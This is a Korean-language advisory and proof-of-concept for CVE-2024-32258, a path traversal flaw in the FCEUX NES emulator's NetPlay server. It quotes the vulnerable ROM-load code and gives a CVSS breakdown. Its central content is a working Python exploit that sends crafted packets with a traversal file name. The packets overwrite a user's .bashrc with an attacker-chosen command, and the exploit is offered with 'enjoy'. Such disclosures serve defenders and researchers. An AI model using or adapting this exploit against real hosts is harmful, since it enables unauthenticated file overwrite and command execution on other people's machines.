
CVE-2024-32258에 대한 개념 증명 익스플로잇, FCEUX NetPlay 2.7.0의 경로 탐색 취약점으로, 조작된 ROM 요청을 통해 인증되지 않은 원격 임의 파일 덮어쓰기가 가능합니다.
FCEUX는 우리를 어린 시절로 돌려보내는 NES 에뮬레이터입니다. 두 명의 플레이어가 온라인으로 게임을 할 수 있는 등 여러 흥미로운 기능을 제공합니다.
서버와 클라이언트는 서로 ROM을 전달할 수 있지만, 서버는 클라이언트가 보낸 ROM 이름에 포함된 특수 문자를 필터링하지 않습니다. 이 경로 탐색 취약점으로 인해 서버의 모든 파일을 덮어쓸 수 있습니다. 더 심각한 점은 ROM의 원격 로드에 인증이 필요하지 않으며, 서버 설정에 로그인 비밀번호가 필요한 경우에도 마찬가지입니다.
이는 커밋 798c5a1d9c73b899cdbe3d613c0022588281979f에서 도입되었습니다 - NetPlay를 위해 클라이언트가 ROM 로드를 요청할 수 있는 기능이 추가되었습니다.
if (acceptRomLoadReq)
{
FILE *fp;
std::string filepath = QDir::tempPath().toLocal8Bit().constData();
const char *romData = &static_cast<const char*>(msgBuf)[ sizeof(netPlayLoadRomReq) ];
filepath.append( "/" );
filepath.append( msg->fileName );
printf("Load ROM Request Received: %s\n", filepath.c_str());
//printf("Dumping Temp Rom to: %s\n", filepath.c_str());
fp = ::fopen( filepath.c_str(), "w");
if (fp == nullptr)
{
return;
}
::fwrite( romData, 1, msgSize, fp );
::fclose(fp);
FCEU_WRAPPER_LOCK();
LoadGame( filepath.c_str(), true, true );
FCEUI_SetEmulationPaused(EMULATIONPAUSED_PAUSED);
FCEU_WRAPPER_UNLOCK();
resyncAllClients();
}
msf->fileName과 fp는 모두 공격자에 의해 지정됩니다.
소스 코드 컴파일을 통해 fceux를 얻거나, 저희가 컴파일한 바이너리를 직접 사용할 수 있습니다. fceux.zip
PoC
import socket
import binascii
client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
client.connect(('192.168.17.131', 4046))
header = "aa55aa55aa55aa550000000a00000204000000f0"
file_name = '../home/tom/.bashrc'
padding1 = '\0' * (256 - len(file_name))
nes_content = "gnome-calculator\n"
padding2 = '\0' * 0x100
client.send(binascii.unhexlify(header) + (file_name + padding1 + nes_content + padding2).encode())
res = client.recv(1024)
print(res)
packet = "0000000000000000000000000800450000641108400040062b8a7f0000017f000001cd340fcee511e70e3cfc427080180200fe5800000101080a94ee338594ee3382aa55aa55aa55aa5500000028000000300000000100000001000000000000000000000000000000000000000000000000"
client.send(binascii.unhexlify(packet))
res = client.recv(1024)
print(res)
즐기세요! 😄
https://github.com/liyansong2018/CVE-2024-32258/assets/25031216/2c237254-3ff8-4690-b0ea-d413f6e8c48d
높음 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Yansong Li 및 Yijie Xun (노스웨스턴 폴리테크니컬 대학교)
| CVSS3.1 | 점수 | 세부 내용 |
|---|
| 공격 경로 | 네트워크 | 네트워크를 통해 공격 시작 |
| 공격 복잡도 | 낮음 | 두 개의 메시지만 전송 |
| 필요 권한 | 없음 | 공격 패킷 전송에 권한이 필요 없음 |
| 사용자 상호 작용 | 필요 | ROM을 로드하기 위해 확인 버튼을 클릭 |
| 범위 | 변경되지 않음 | 해당 없음 |
| 기밀성 | 높음 | 임의 파일 덮어쓰기 |
| 무결성 | 높음 | 임의 파일 덮어쓰기 |
| 가용성 | 높음 | 임의 파일 덮어쓰기 |